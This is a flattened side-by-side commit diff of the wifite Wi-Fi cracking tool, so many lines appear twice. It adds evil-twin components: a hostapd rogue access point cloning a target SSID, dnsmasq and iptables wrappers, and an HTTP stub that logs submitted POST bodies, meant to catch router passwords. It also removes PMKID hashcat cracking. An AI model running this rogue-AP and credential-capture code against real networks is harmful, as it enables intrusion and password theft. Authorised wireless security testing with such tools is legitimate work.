Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets') Color.pl('{+} {C}option:{W} attacking all targets using {G}eviltwin attacks{W}')
# WEP # WEP
if args.wep_filter: if args.wep_filter:

0
wifite/model/__init__.py Executable file → Normal file
View File

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
class Client(object): class Client(object):

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.process import Process from ..util.process import Process
@@ -184,30 +184,6 @@ class Handshake(object):
Color.pl('%s ({G}%s{W})' % (out_str, essid)) Color.pl('%s ({G}%s{W})' % (out_str, essid))
@staticmethod
def check():
''' Analyzes .cap file(s) for handshake '''
from ..config import Configuration
if Configuration.check_handshake == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [Configuration.check_handshake]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
if __name__ == '__main__': if __name__ == '__main__':
print('With BSSID & ESSID specified:') print('With BSSID & ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')

View File

@@ -1,53 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from ..util.color import Color
from .result import CrackResult
class CrackResultPMKID(CrackResult):
def __init__(self, bssid, essid, pmkid_file, key):
self.result_type = 'PMKID'
self.bssid = bssid
self.essid = essid
self.pmkid_file = pmkid_file
self.key = key
super(CrackResultPMKID, self).__init__()
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
Color.pl('{+} %s: {C}%s{W}' %
('Encryption'.rjust(19), self.result_type))
if self.pmkid_file:
Color.pl('{+} %s: {C}%s{W}' %
('PMKID File'.rjust(19), self.pmkid_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def to_dict(self):
return {
'type' : self.result_type,
'date' : self.date,
'essid' : self.essid,
'bssid' : self.bssid,
'key' : self.key,
'pmkid_file' : self.pmkid_file
}
if __name__ == '__main__':
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234')
w.dump()
w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key')
print('\n')
w.dump()
w.save()
print(w.__dict__['bssid'])

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color
@@ -39,27 +39,6 @@ class CrackResult(object):
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})' Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json))) % (name, len(json)))
@classmethod
def display(cls):
''' Show cracked targets from cracked.txt '''
name = cls.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = cls.load(item)
cr.dump()
Color.pl('')
@classmethod @classmethod
def load_all(cls): def load_all(cls):
if not os.path.exists(cls.cracked_file): return [] if not os.path.exists(cls.cracked_file): return []
@@ -89,13 +68,6 @@ class CrackResult(object):
json['essid'], json['essid'],
json['pin'], json['pin'],
json['psk']) json['psk'])
elif json['type'] == 'PMKID':
from .pmkid_result import CrackResultPMKID
result = CrackResultPMKID(json['bssid'],
json['essid'],
json['pmkid_file'],
json['key'])
result.date = json['date'] result.date = json['date']
return result return result

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.color import Color from ..util.color import Color

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -204,7 +204,7 @@ class Aireplay(Thread, Dependency):
if 'Got RELAYED packet' in line: if 'Got RELAYED packet' in line:
self.status = 'got relayed packet' self.status = 'got relayed packet'
# XX:XX:XX That's our ARP packet! # XX:XX:XX Thats our ARP packet!
if 'Thats our ARP packet' in line: if 'Thats our ARP packet' in line:
self.status = 'relayed packet was our' self.status = 'relayed packet was our'

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -19,14 +19,15 @@ class AirmonIface(object):
self.interface = interface self.interface = interface
self.driver = driver self.driver = driver
self.chipset = chipset self.chipset = chipset
self.mac_address = Ifconfig.get_mac(interface)
# Max length of fields. # Max length of fields. Used for printing a table of interfaces.
# Used for printing a table of interfaces.
INTERFACE_LEN = 12 INTERFACE_LEN = 12
PHY_LEN = 6 PHY_LEN = 6
DRIVER_LEN = 20 DRIVER_LEN = 20
CHIPSET_LEN = 30 CHIPSET_LEN = 30
def __str__(self): def __str__(self):
''' Colored string representation of interface ''' ''' Colored string representation of interface '''
s = '' s = ''
@@ -36,6 +37,7 @@ class AirmonIface(object):
s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN))
return s return s
@staticmethod @staticmethod
def menu_header(): def menu_header():
''' Colored header row for interfaces ''' ''' Colored header row for interfaces '''
@@ -51,12 +53,13 @@ class AirmonIface(object):
class Airmon(Dependency): class Airmon(Dependency):
''' Wrapper around the 'airmon-ng' program ''' ''' Wrapper around the 'airmon-ng' program '''
dependency_required = True dependency_required = True
dependency_name = 'airmon-ng' dependency_name = 'airmon-ng'
dependency_url = 'https://www.aircrack-ng.org/install.html' dependency_url = 'https://www.aircrack-ng.org/install.html'
base_interface = None base_interface = None # Interface *before* it was put into monitor mode.
killed_network_manager = False killed_network_manager = False # If we killed network-manager
# Drivers that need to be manually put into monitor mode # Drivers that need to be manually put into monitor mode
BAD_DRIVERS = ['rtl8821au'] BAD_DRIVERS = ['rtl8821au']
@@ -65,18 +68,16 @@ class Airmon(Dependency):
ARPHRD_IEEE80211_RADIOTAP = 803 #monitor ARPHRD_IEEE80211_RADIOTAP = 803 #monitor
def __init__(self): def __init__(self):
self.refresh()
def refresh(self):
''' Get airmon-recognized interfaces '''
self.interfaces = Airmon.get_interfaces() self.interfaces = Airmon.get_interfaces()
def print_menu(self): def print_menu(self):
''' Prints menu ''' ''' Prints menu '''
print(AirmonIface.menu_header()) print(AirmonIface.menu_header())
for idx, iface in enumerate(self.interfaces, start=1): for idx, iface in enumerate(self.interfaces, start=1):
Color.pl(" {G}%d{W}. %s" % (idx, iface)) Color.pl(" {G}%d{W}. %s" % (idx, iface))
def get(self, index): def get(self, index):
''' Gets interface at index (starts at 1) ''' ''' Gets interface at index (starts at 1) '''
if type(index) is str: if type(index) is str:
@@ -100,13 +101,11 @@ class Airmon(Dependency):
if phy == 'PHY' or phy == 'Interface': if phy == 'PHY' or phy == 'Interface':
continue # Header continue # Header
if len(interface.strip()) == 0:
continue
interfaces.append(AirmonIface(phy, interface, driver, chipset)) interfaces.append(AirmonIface(phy, interface, driver, chipset))
return interfaces return interfaces
@staticmethod @staticmethod
def start_bad_driver(iface): def start_bad_driver(iface):
''' '''
@@ -126,6 +125,7 @@ class Airmon(Dependency):
return None return None
@staticmethod @staticmethod
def stop_bad_driver(iface): def stop_bad_driver(iface):
''' '''
@@ -140,11 +140,12 @@ class Airmon(Dependency):
iface_type_path = os.path.join('/sys/class/net', iface, 'type') iface_type_path = os.path.join('/sys/class/net', iface, 'type')
if os.path.exists(iface_type_path): if os.path.exists(iface_type_path):
with open(iface_type_path, 'r') as f: with open(iface_type_path, 'r') as f:
if (int(f.read()) == Airmon.ARPHRD_ETHER): if (int(f.read()) == Airmon.ARPHRD_ETHER):
return iface return iface
return None return None
@staticmethod @staticmethod
def start(iface): def start(iface):
''' '''
@@ -199,18 +200,26 @@ class Airmon(Dependency):
return enabled_iface return enabled_iface
@staticmethod @staticmethod
def _parse_airmon_start(airmon_output): def _parse_airmon_start(airmon_output):
'''Find the interface put into monitor mode (if any)''' '''Returns the interface name that was put into monitor mode (if any)'''
# airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon)
enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*') enabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?enabled for [^ ]+ on (?:\[\w+\])?(\w+)\)\s*')
# airmon-ng output from https://www.aircrack-ng.org/doku.php?id=iwlagn
enabled_re2 = re.compile(r'\s*\(monitor mode enabled on (\w+)\)')
for line in airmon_output.split('\n'): for line in airmon_output.split('\n'):
matches = enabled_re.match(line) matches = enabled_re.match(line)
if matches: if matches:
return matches.group(1) return matches.group(1)
matches = enabled_re2.match(line)
if matches:
return matches.group(1)
return None return None
@@ -277,15 +286,16 @@ class Airmon(Dependency):
Airmon.terminate_conflicting_processes() Airmon.terminate_conflicting_processes()
Color.pl('\n{+} looking for {C}wireless interfaces{W}') Color.p('\n{+} looking for {C}wireless interfaces{W}... ')
monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor')
if len(monitor_interfaces) == 1: if len(monitor_interfaces) == 1:
# Assume we're using the device already in montior mode # Assume we're using the device already in montior mode
iface = monitor_interfaces[0] iface = monitor_interfaces[0]
Color.pl(' using interface {G}%s{W} (already in monitor mode)' % iface); Color.pl('using interface {G}%s{W} (already in monitor mode)' % iface);
Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}') #Color.pl(' you can specify the wireless interface using {C}-i wlan0{W}')
Airmon.base_interface = None Airmon.base_interface = None
return iface return iface
Color.pl('')
a = Airmon() a = Airmon()
count = len(a.interfaces) count = len(a.interfaces)
@@ -343,11 +353,8 @@ class Airmon(Dependency):
if not Configuration.kill_conflicting_processes: if not Configuration.kill_conflicting_processes:
# Don't kill processes, warn user # Don't kill processes, warn user
names_and_pids = ', '.join([ for pid, pname in pid_pnames:
'{R}%s{O} (PID {R}%s{O})' % (pname, pid) Color.pl('{!} {O}conflicting process: {R}%s{O} (PID {R}%s{O})' % (pname, pid))
for pid, pname in pid_pnames
])
Color.pl('{!} {O}conflicting processes: %s' % names_and_pids)
Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') Color.pl('{!} {O}if you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}')
return return
@@ -360,10 +367,7 @@ class Airmon(Dependency):
Airmon.killed_network_manager = True Airmon.killed_network_manager = True
else: else:
Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) Color.pl('{!} {R}terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid))
try: os.kill(int(pid), signal.SIGTERM)
os.kill(int(pid), signal.SIGTERM)
except:
pass
@staticmethod @staticmethod
@@ -372,6 +376,7 @@ class Airmon(Dependency):
Ifconfig.up(iface) Ifconfig.up(iface)
Color.pl(" {G}done{W}") Color.pl(" {G}done{W}")
@staticmethod @staticmethod
def start_network_manager(): def start_network_manager():
Color.p("{!} {O}restarting {R}NetworkManager{O}...") Color.p("{!} {O}restarting {R}NetworkManager{O}...")
@@ -412,3 +417,4 @@ if __name__ == '__main__':
(disabled_iface, enabled_iface) = Airmon.stop(iface) (disabled_iface, enabled_iface) = Airmon.stop(iface)
print("Disabled:", disabled_iface) print("Disabled:", disabled_iface)
print("Enabled:", enabled_iface) print("Enabled:", enabled_iface)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -137,7 +137,7 @@ class Airodump(Dependency):
if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'):
os.remove(os.path.join(temp_dir, fil)) os.remove(os.path.join(temp_dir, fil))
def get_targets(self, old_targets=[], apply_filter=True): def get_targets(self, apply_filter=True):
''' Parses airodump's CSV file, returns list of Targets ''' ''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file # Find the .CSV file
@@ -150,17 +150,13 @@ class Airodump(Dependency):
return self.targets # No file found return self.targets # No file found
targets = Airodump.get_targets_from_csv(csv_filename) targets = Airodump.get_targets_from_csv(csv_filename)
for old_target in old_targets:
for target in targets:
if old_target.bssid == target.bssid:
target.wps = old_target.wps
# Check targets for WPS # Check targets for WPS
if not self.skip_wps: if not self.skip_wps:
capfile = csv_filename[:-3] + 'cap' capfile = csv_filename[:-3] + 'cap'
try: try:
Tshark.check_for_wps_and_update_targets(capfile, targets) Tshark.check_for_wps_and_update_targets(capfile, targets)
except ValueError: except Exception as e:
# No tshark, or it failed. Fall-back to wash # No tshark, or it failed. Fall-back to wash
Wash.check_for_wps_and_update_targets(capfile, targets) Wash.check_for_wps_and_update_targets(capfile, targets)
@@ -182,6 +178,9 @@ class Airodump(Dependency):
new_target.decloaked = True new_target.decloaked = True
self.decloaked_bssids.add(new_target.bssid) self.decloaked_bssids.add(new_target.bssid)
if self.pid.poll() is not None:
raise Exception('Airodump has stopped')
self.targets = targets self.targets = targets
self.deauth_hidden_targets() self.deauth_hidden_targets()
@@ -193,9 +192,10 @@ class Airodump(Dependency):
'''Returns list of Target objects parsed from CSV file.''' '''Returns list of Target objects parsed from CSV file.'''
targets = [] targets = []
import csv import csv
with open(csv_filename, 'r') as csvopen: with open(csv_filename, 'rb') as csvopen:
lines = [] lines = []
for line in csvopen: for line in csvopen:
if type(line) is bytes: line = line.decode('utf-8')
line = line.replace('\0', '') line = line.replace('\0', '')
lines.append(line) lines.append(line)
csv_reader = csv.reader(lines, csv_reader = csv.reader(lines,

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

53
wifite/tools/dependency.py Executable file → Normal file
View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
class Dependency(object): class Dependency(object):
@@ -9,52 +9,11 @@ class Dependency(object):
for attr_name in cls.required_attr_names: for attr_name in cls.required_attr_names:
if not attr_name in cls.__dict__: if not attr_name in cls.__dict__:
raise NotImplementedError( raise NotImplementedError(
"Attribute '{}' has not been overridden in class '{}'" \ "Attribute '{}' has not been overriden in class '{}'" \
.format(attr_name, cls.__name__) .format(attr_name, cls.__name__)
) )
@classmethod
def run_dependency_check(cls):
from ..util.color import Color
from .airmon import Airmon
from .airodump import Airodump
from .aircrack import Aircrack
from .aireplay import Aireplay
from .ifconfig import Ifconfig
from .iwconfig import Iwconfig
from .bully import Bully
from .reaver import Reaver
from .wash import Wash
from .pyrit import Pyrit
from .tshark import Tshark
from .macchanger import Macchanger
from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool
apps = [
# Aircrack
Aircrack, #Airodump, Airmon, Aireplay,
# wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Hashcat
Hashcat, HcxDumpTool, HcxPcapTool,
# Misc
Macchanger
]
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
import sys
sys.exit(-1)
@classmethod @classmethod
def fails_dependency_check(cls): def fails_dependency_check(cls):
from ..util.color import Color from ..util.color import Color
@@ -64,11 +23,11 @@ class Dependency(object):
return False return False
if cls.dependency_required: if cls.dependency_required:
Color.pp('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name) Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
return True return True
else: else:
Color.p('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name) Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url) Color.pl(' {W}install @ {C}%s{W}' % cls.dependency_url)
return False return False

71
wifite/tools/dnsmasq.py Executable file
View File

@@ -0,0 +1,71 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import os
from .dependency import Dependency
from ..util.process import Process
from ..config import Configuration
class Dnsmasq(Dependency):
'''Wrapper for dnsmasq program.'''
dependency_required = False
dependency_name = 'dnsmasq'
dependency_url = 'apt-get install dnsmasq'
def __init__(self, interface):
self.interface = interface
self.pid = None
self.config_file = None
def create_config_file(self):
self.config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf')
if os.path.exists(self.config_file):
os.remove(self.config_file)
with open(self.config_file, 'w') as config:
config.write('interface={}\n'.format(self.interface))
config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n')
config.write('dhcp-option=3,10.0.0.1\n')
config.write('dhcp-option=6,10.0.0.1\n')
config.write('server=8.8.8.8\n')
config.write('log-queries\n')
config.write('log-dhcp\n')
def start(self):
self.create_config_file()
# Stop already-running dnsmasq process
self.killall()
# Start new dnsmasq process
self.pid = Process([
'dnsmasq',
'-C', self.config_file
])
def stop(self):
# Kill dnsmasq process
if self.pid and self.pid.poll() is not None:
self.pid.interrupt()
self.killall()
if self.config_file and os.path.exists(self.config_file):
os.remove(self.config_file)
def killall(self):
Process(['killall', 'dnsmasq']).wait()
# TODO: Wait until dnsmasq is completely stopped.
def check(self):
if self.pid.poll() is not None:
raise Exception('dnsmasq stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check logs/output for problems

View File

@@ -0,0 +1,84 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
class EviltwinServer(HTTPServer, object):
def __init__(self, success_callback, error_callback, port=80):
self.thread = None
# Store state in server
self.success_callback = success_callback
self.error_callback = error_callback
self.request_count = 0
self.router_pages_served = 0
# Initialize with our request handler
super(EviltwinServer, self).__init__(('', port), EviltwinRequestHandler)
def start(self):
self.thread = Thread(target=self.serve_forever)
self.thread.start()
def stop(self):
# From https://stackoverflow.com/a/268686
self.shutdown()
self.socket.close()
if self.thread:
self.thread.join()
def request_count(self):
return self.request_count
def router_pages_served(self):
return self.router_pages_served
class EviltwinRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.server.request_count += 1
request_path = self.path
# TODO: URL mappings to load specific pages. E.g. Apple/Android "pings"
print('\n----- Request Start ----->\n')
print(request_path)
print(self.headers)
print('<----- Request End -----\n')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write('<html><head><title>Title goes here.</title></head>')
self.wfile.write('<body><p>This is a test.</p>')
# If someone went to 'http://something.somewhere.net/foo/bar/',
# then s.path equals '/foo/bar/'.
self.wfile.write('<p>You accessed path: %s</p>' % self.path)
self.wfile.write('</body></html>')
def do_POST(self):
self.server.request_count += 1
request_path = self.path
# TODO: If path includes router password, call self.server.success_callback
# TODO: Verify router passwords via separate interface?
print('\n----- Request Start ----->\n')
print(request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
print(request_headers)
print(self.rfile.read(length))
print('<----- Request End -----\n')
self.send_response(200)
do_PUT = do_POST
do_DELETE = do_GET

View File

@@ -1,132 +0,0 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
from ..util.color import Color
import os
class Hashcat(Dependency):
dependency_required = False
dependency_name = 'hashcat'
dependency_url = 'https://hashcat.net/hashcat/'
@staticmethod
def crack_pmkid(pmkid_file):
'''
Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800)
Returns:
Key (str) if found; `None` if not found.
'''
# Run hashcat once normally, then with --show if it failed
# To catch cases where the password is already in the pot file.
for additional_arg in [ [], ['--show']]:
command = [
'hashcat',
'--force',
'--quiet', # Only output the password if found.
'-m', '16800', # WPA-PMKID-PBKDF2
'-a', '0', # TODO: Configure
'-w', '2', # TODO: Configure
pmkid_file,
Configuration.wordlist
]
command.extend(additional_arg)
# TODO: Check status of hashcat (%); it's impossible with --quiet
try:
hashcat_proc = Process(command)
hashcat_proc.wait()
stdout = hashcat_proc.stdout()
except KeyboardInterrupt: # In case user gets impatient
Color.pl('\n{!} {O}Interrupted hashcat cracking{W}')
stdout = ''
if ':' not in stdout:
# Failed
continue
else:
# Cracked
key = stdout.strip().split(':', 1)[1]
return key
class HcxDumpTool(Dependency):
dependency_required = False
dependency_name = 'hcxdumptool'
dependency_url = 'https://github.com/ZerBea/hcxdumptool'
def __init__(self, target, pcapng_file):
# Create filterlist
filterlist = Configuration.temp('pmkid.filterlist')
with open(filterlist, 'w') as filter_handle:
filter_handle.write(target.bssid.replace(':', ''))
if os.path.exists(pcapng_file):
os.remove(pcapng_file)
command = [
"hcxdumptool",
"-i", Configuration.interface,
"--filterlist", filterlist,
"--filtermode", "2",
"-c", str(target.channel),
"-o", pcapng_file
]
self.proc = Process(command)
def poll(self):
return self.proc.poll()
def interrupt(self):
self.proc.interrupt()
class HcxPcapTool(Dependency):
dependency_required = False
dependency_name = 'hcxpcaptool'
dependency_url = 'https://github.com/ZerBea/hcxtools'
def __init__(self, target):
self.target = target
self.bssid = self.target.bssid.lower().replace(':', '')
self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid)
def get_pmkid_hash(self, pcapng_file):
if os.path.exists(self.pmkid_file):
os.remove(self.pmkid_file)
command = [
'hcxpcaptool',
'-z', self.pmkid_file,
pcapng_file
]
hcxpcap_proc = Process(command)
hcxpcap_proc.wait()
if not os.path.exists(self.pmkid_file):
return None
with open(self.pmkid_file, 'r') as f:
output = f.read()
# Each line looks like:
# hash*bssid*station*essid
# Note: The dumptool will record *anything* it finds, ignoring the filterlist.
# Check that we got the right target (filter by BSSID)
matching_pmkid_hash = None
for line in output.split('\n'):
fields = line.split('*')
if len(fields) >= 3 and fields[1].lower() == self.bssid:
# Found it
matching_pmkid_hash = line
break
os.remove(self.pmkid_file)
return matching_pmkid_hash

94
wifite/tools/hostapd.py Executable file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
import os
from .dependency import Dependency
from ..config import Configuration
from ..util.process import Process
class Hostapd(Dependency):
process_name = 'hostapd'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install hostapd'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
def __init__(self, target, interface):
self.target = target
self.interface = interface
self.pid = None
self.config_file = None
self.output_file = None
self.output_write = None
self.state = 'Initializing'
def create_config_file(self):
if not self.target.essid_known:
self.state = 'Error: Target ESSID is not known'
raise Exception('Cannot start hostapd if target has unknown SSID')
self.config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf'))
with open(self.config_file, 'w') as config:
config.write('driver=nl80211\n')
config.write('ssid={}\n'.format(self.target.essid))
# TODO: support 5ghz
config.write('hw_mode=g\n')
config.write('channel={}\n'.format(self.target.channel))
config.write('logger_syslog=-1\n')
config.write('logger_syslog_level=2\n')
def start(self):
self.create_config_file()
self.killall()
temp = Configuration.temp()
self.output_file = os.path.abspath(os.path.join(temp, 'hostapd.out'))
self.output_write = open(self.output_file, 'a')
command = [
self.process_name,
'-i', self.interface,
self.config_file
]
self.pid = Process(command, stdout=self.output_write, cwd=temp)
def stop(self):
if self.pid and self.pid.poll() is not None:
self.pid.interrupt()
self.killall()
# TODO: Wait until hostapd is completely stopped.
if self.output_write:
self.output_write.close()
if self.config_file and os.path.exists(self.config_file):
os.remove(self.config_file)
if self.output_file and os.path.exists(self.output_file):
os.remove(self.output_file)
def killall(self):
Process(['killall', self.process_name]).wait()
def check(self):
if self.pid.poll() is not None:
raise Exception('hostapd stopped running, exit code: %d, output: %s' % (self.pid.poll(), self.pid.stdout()))
# TODO: Check hostapd logs / output for any problems.

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import re import re

73
wifite/tools/iptables.py Normal file
View File

@@ -0,0 +1,73 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import re
from .dependency import Dependency
from ..util.process import Process
class Iptables(Dependency):
process_name = 'iptables'
dependency_required = False
dependency_name = process_name
dependency_url = 'apt-get install iptables'
@classmethod
def exists(cls):
return Process.exists(cls.process_name)
@classmethod
def __exec(cls, args, expect_return_code=0):
# Helper method for executing iptables commands.
if type(args) is str:
args = args.split(' ')
command = [cls.process_name] + args
pid = Process(command)
pid.wait()
if expect_return_code and pid.poll() != 0:
raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr()))
# -N, --new-chain <chain>
@classmethod
def new_chain(cls, chain_name, table):
args = ['-N', chain_name, '-t', table]
cls.__exec(args)
# -A, --append <chain> <rule-specification>
@classmethod
def append(cls, chain, table=None, rules=[]):
args = []
if table is not None:
args.extend(['-t', table])
args.extend(['-A', chain])
args.extend(rules)
cls.__exec(args)
# -F, --flush <chain>
@classmethod
def flush(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-F')
cls.__exec(args)
# -X, --delete-chain <chain>
@classmethod
def delete_chain(cls, table=None):
args = []
if table is not None:
args.extend(['-t', table])
args.append('-X')
cls.__exec(args)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
@@ -29,7 +29,6 @@ class Iwconfig(Dependency):
from ..util.process import Process from ..util.process import Process
interfaces = set() interfaces = set()
iface = ''
(out, err) = Process.call('iwconfig') (out, err) = Process.call('iwconfig')
for line in out.split('\n'): for line in out.split('\n'):
@@ -38,16 +37,11 @@ class Iwconfig(Dependency):
if not line.startswith(' '): if not line.startswith(' '):
iface = line.split(' ')[0] iface = line.split(' ')[0]
if '\t' in iface: if '\t' in iface:
iface = iface.split('\t')[0].strip() iface = iface.split('\t')[0]
iface = iface.strip()
if len(iface) == 0:
continue
if mode is None: if mode is None:
interfaces.add(iface) interfaces.add(iface)
if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0: if mode is not None and 'mode:{}'.format(mode.lower()) in line.lower():
interfaces.add(iface) interfaces.add(iface)
return list(interfaces) return list(interfaces)

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency
